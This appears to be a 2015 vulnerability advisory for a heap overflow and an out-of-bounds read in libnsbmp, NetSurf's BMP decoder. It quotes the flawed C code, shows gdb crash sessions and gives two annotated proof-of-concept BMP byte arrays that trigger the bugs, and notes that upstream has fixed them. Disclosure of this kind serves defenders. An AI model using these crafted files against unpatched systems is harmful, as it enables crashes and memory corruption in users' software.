Hans Jerry Illikainen

CVE-2015-7507 / CVE-2015-7508: libnsbmp: heap overflow and out-of-bounds read

Dec 16, 2015

Overview

Libnsbmp[1] is a decoding library for BMP and ICO files. It is primarily developed and used as part of the NetSurf project.

As of version 0.1.2, libnsbmp is vulnerable to a heap overflow (CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507).

CVE-2015-7508

libnsbmp expects that the user-supplied bmp_bitmap_cb_create callback allocates enough memory to accommodate for bmp->width * bmp->height * 4 bytes. However, due to the way pixels_left is calculated, the last row of run-length encoded data may expand beyond the end of bmp->bitmap, resulting in a heap overflow.

src/libnsbmp.c #951..1097:

static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
[...]
    swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width;
    top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap);
[...]
    do {
[...]
        length = *data++;
        if (length == 0) {
[...]
                /* 00 - NN means escape NN pixels */
                if (bmp->reversed) {
                    pixels_left = (y + 1) * bmp->width - x;
                    scanline = (void *)(top + (y * swidth));
                } else {
                    pixels_left = (bmp->height - y + 1) * bmp->width - x;
                    scanline = (void *)(bottom - (y * swidth));
                }
                if (length > pixels_left)
                    length = pixels_left;
                if (data + length > end)
                    return BMP_INSUFFICIENT_DATA;
[...]
        } else {
            /* NN means perform RLE for NN pixels */
            if (bmp->reversed) {
                pixels_left = (y + 1) * bmp->width - x;
                scanline = (void *)(top + (y * swidth));
            } else {
                pixels_left = (bmp->height - y + 1) * bmp->width - x;
                scanline = (void *)(bottom - (y * swidth));
            }
            if (length > pixels_left)
                length = pixels_left;
[...]
                pixel2 = *data++;
                pixel = bmp->colour_table[pixel2 >> 4];
                pixel2 = bmp->colour_table[pixel2 & 0xf];
                for (i = 0; i < length; i++) {
                    if (x >= bmp->width) {
                        x = 0;
                        if (++y > bmp->height)
                            return BMP_DATA_ERROR;
                        scanline -= bmp->width;
                    }
                    if ((i & 1) == 0)
                        scanline[x++] = pixel;
                    else
                        scanline[x++] = pixel2;
                }
            }
        }
    } while (data < end);
[...]
}

Using NetSurf as an example:

~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp
[...]
heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1)
heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3)
heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5)

Program received signal SIGSEGV, Segmentation fault.
0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' <repeats 23 times>, bytes=157, size=4) at src/libnsbmp.c:1091
1091                          scanline[x++] = pixel2;
(gdb)

heap.py:

class Breakpoint(gdb.Breakpoint):
    def stop(self):
        top = get_hex("top")
        width = get_hex("bmp->width")
        height = get_hex("bmp->height")
        bpp = get_hex("bmp->bpp")
        x = get_hex("x")
        scanline = get_hex("scanline")
        pixel2 = get_hex("pixel2")

        cur = scanline + x
        end = top + width * height * bpp
        if cur > end:
            print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" %
                  (pixel2, cur, end, cur - end))
        return False

def get_hex(arg):
    res = gdb.execute("print/x %s" % arg, to_string=True)
    x = res.split(" ")[-1].strip()
    return int(x, 16)

Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091")

gdb.execute("run")

heap.bmp:

unsigned char heap[] = {
    /* bmp_analyse() */
    0x42, 0x4d,             /* BM */
    0x41, 0x00, 0x00, 0x40, /* bmp size */
    0x00, 0x00,             /* reserved */
    0x00, 0x00,             /* reserved */
    0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */

    /* bmp_analyse_header() */
    0x6c, 0x00, 0x00, 0x00, /* header_size */
    0xff, 0x7f, 0x00, 0x00, /* width */
    0xf7, 0xff, 0xff, 0xff, /* height */
    0x01, 0x00,             /* colour planes */
    0x04, 0x00,             /* bmp->bpp */
    0x02, 0x00, 0x00, 0x00, /* bmp->encoding */
    0x04, 0x00, 0x00, 0x00, /* size of bitmap */
    0x41, 0x41, 0x00, 0x00, /* horizontal resolution */
    0x41, 0x41, 0x00, 0x00, /* vertical resolution */
    0x01, 0x00, 0x00, 0x00, /* bmp->colours */
    0x00, 0x00, 0x00, 0x00, /* number of important colours */
    0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */
    0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
    0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */

    /*
     * NOTE: the first two bytes of the alpha mask are used in the
     * expansion of the last "line".
     *
     * 0xff = the number of bytes to expand,
     * 0x00 = the pixel which, combined with a bitwise AND against 0xf,
     *        is used to dereference a (potentially) suiting "real"
     *        pixel in bmp->colour_table.  Since bmp->colours is
     *        specified as 1, we want this to be 0.  No bounds checking
     *        is done and as such libnsbmp may be induced to read from
     *        bmp->colour_table[out_of_bounds_index] (CVE-2015-7507)
     */
    0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */

    0x41, 0x41, 0x41, 0x41, /* color space type */
    0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */
    0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */
    0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */
    0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */
    0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */
    0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */
    0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */
    0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */
    0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */
    0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */
    0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */
    0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */

    /*
     * NOTE: this is what will be expanded on the last "line"
     */
    0x99, 0x99, 0x99,       /* bmp->colour_table[0] */

    0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41,
};

CVE-2015-7507

An out-of-bounds read may occur in libnsbmp due to a lack of boundary checking before dereferencing bmp->colour_table in bmp_decode_rgb() and bmp_decode_rle() with an index based on a user-supplied value.

src/libnsbmp.c #306..558:

static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) {
[...]
    header_size = read_uint32(data, 0);
[...]
    if (header_size == 12) {
[...]
        bmp->bpp = read_uint16(data, 10);
        /**
         * The bpp value should be in the range 1-32, but the only
         * values considered legal are:
         * RGB ENCODING: 1, 4, 8, 16, 24 and 32
         */
        if ((bmp->bpp != 1) && (bmp->bpp != 4) &&
                (bmp->bpp != 8) &&
                (bmp->bpp != 16) &&
                (bmp->bpp != 24) &&
                (bmp->bpp != 32))
            return BMP_DATA_ERROR;
        bmp->colours = (1 << bmp->bpp);
        palette_size = 3;
    } else if (header_size < 40) {
        return BMP_DATA_ERROR;
    } else {
[...]
        bmp->colours = read_uint32(data, 32);
        if (bmp->colours == 0)
            bmp->colours = (1 << bmp->bpp);
        palette_size = 4;
    }
[...]
    if (bmp->bpp < 16) {
[...]
        /* create the colour table */
        bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
        if (!bmp->colour_table)
            return BMP_INSUFFICIENT_MEMORY;
        for (i = 0; i < bmp->colours; i++) {
            bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16);
            if (bmp->opaque)
                bmp->colour_table[i] |= (0xff << 24);
            data += palette_size;
            bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0);
        }
    }
[...]
}

src/libnsbmp.c #951..1097:

static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
[...]
    do {
[...]
        length = *data++;
        if (length == 0) {
[...]
            } else {
                /* 00 - NN means escape NN pixels */
[...]
                if (size == 8) {
[...]
                        scanline[x++] = bmp->colour_table[(int)*data++];
                    }
                } else {
[...]
                        if ((i & 1) == 0) {
                            pixel = *data++;
                            scanline[x++] = bmp->colour_table
                                    [pixel >> 4];
                        } else {
                            scanline[x++] = bmp->colour_table
                                    [pixel & 0xf];
                        }
                    }
[...]
            }
        } else {
            /* NN means perform RLE for NN pixels */
[...]
            if (size == 8) {
                pixel = bmp->colour_table[(int)*data++];
[...]
            } else {
                pixel2 = *data++;
                pixel = bmp->colour_table[pixel2 >> 4];
                pixel2 = bmp->colour_table[pixel2 & 0xf];
[...]
                }
            }
        }
    } while (data < end);
[...]
}

src/libnsbmp.c #844..893:

static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) {
[...]
    uint8_t bit_shifts[8];
    uint8_t ppb = 8 / bmp->bpp;
    uint8_t bit_mask = (1 << bmp->bpp) - 1;
    uint8_t cur_byte = 0, bit, i;

    for (i = 0; i < ppb; i++)
        bit_shifts[i] = 8 - ((i + 1) * bmp->bpp);
[...]
    /* Determine transparent index */
    if (bmp->limited_trans)
        bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask];

    for (y = 0; y < bmp->height; y++) {
[...]
        for (x = 0; x < bmp->width; x++) {
            if (bit >= ppb) {
                bit = 0;
                cur_byte = *data++;
            }
            scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
[...]
        }
    }
    *start = data;
    return BMP_OK;
}

Another NetSurf example:

~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp
[...]
(gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531
Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531.
(gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869
Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869.
(gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886
Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886.
(gdb) r
[...]
Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "\377\377\377") at src/libnsbmp.c:531
531         bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
(gdb) p bmp->colours * 4
$1 = 4
(gdb) c
[...]
Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886
886         scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
(gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask
$2 = 255
(gdb)

oob.bmp:

unsigned char bmp[] = {
    /* bmp_analyse() */
    0x42, 0x4d,             /* BM */
    0x7e, 0x00, 0x00, 0x00, /* bmp size */
    0x00, 0x00,             /* reserved */
    0x00, 0x00,             /* reserved */
    0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */

    /* bmp_analyse_header() */
    0x6c, 0x00, 0x00, 0x00, /* header_size */
    0x01, 0x00, 0x00, 0x00, /* width */
    0x01, 0x00, 0x00, 0x00, /* height */
    0x01, 0x00,             /* colour planes */
    0x08, 0x00,             /* bmp->bpp */
    0x00, 0x00, 0x00, 0x00, /* bmp->encoding */
    0x00, 0x00, 0x00, 0x00, /* size of bitmap */
    0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
    0x00, 0x00, 0x00, 0x00, /* vertical resolution */
    0x01, 0x00, 0x00, 0x00, /* bmp->colours */
    0x00, 0x00, 0x00, 0x00, /* number of important colours */
    0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */
    0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
    0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
    0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */
    0x00, 0x00, 0x00, 0x00, /* color space type */
    0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
    0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
    0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
    0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
    0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
    0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
    0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
    0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
    0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
    0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */
    0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */
    0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */
    0xff, 0xff, 0xff, 0x00  /* bmp->colour_table[0] */
};

Solution

Both vulnerabilities are fixed in git HEAD[2].

References

  1. http://www.netsurf-browser.org/projects/libnsbmp/
  2. http://source.netsurf-browser.org/libnsbmp.git/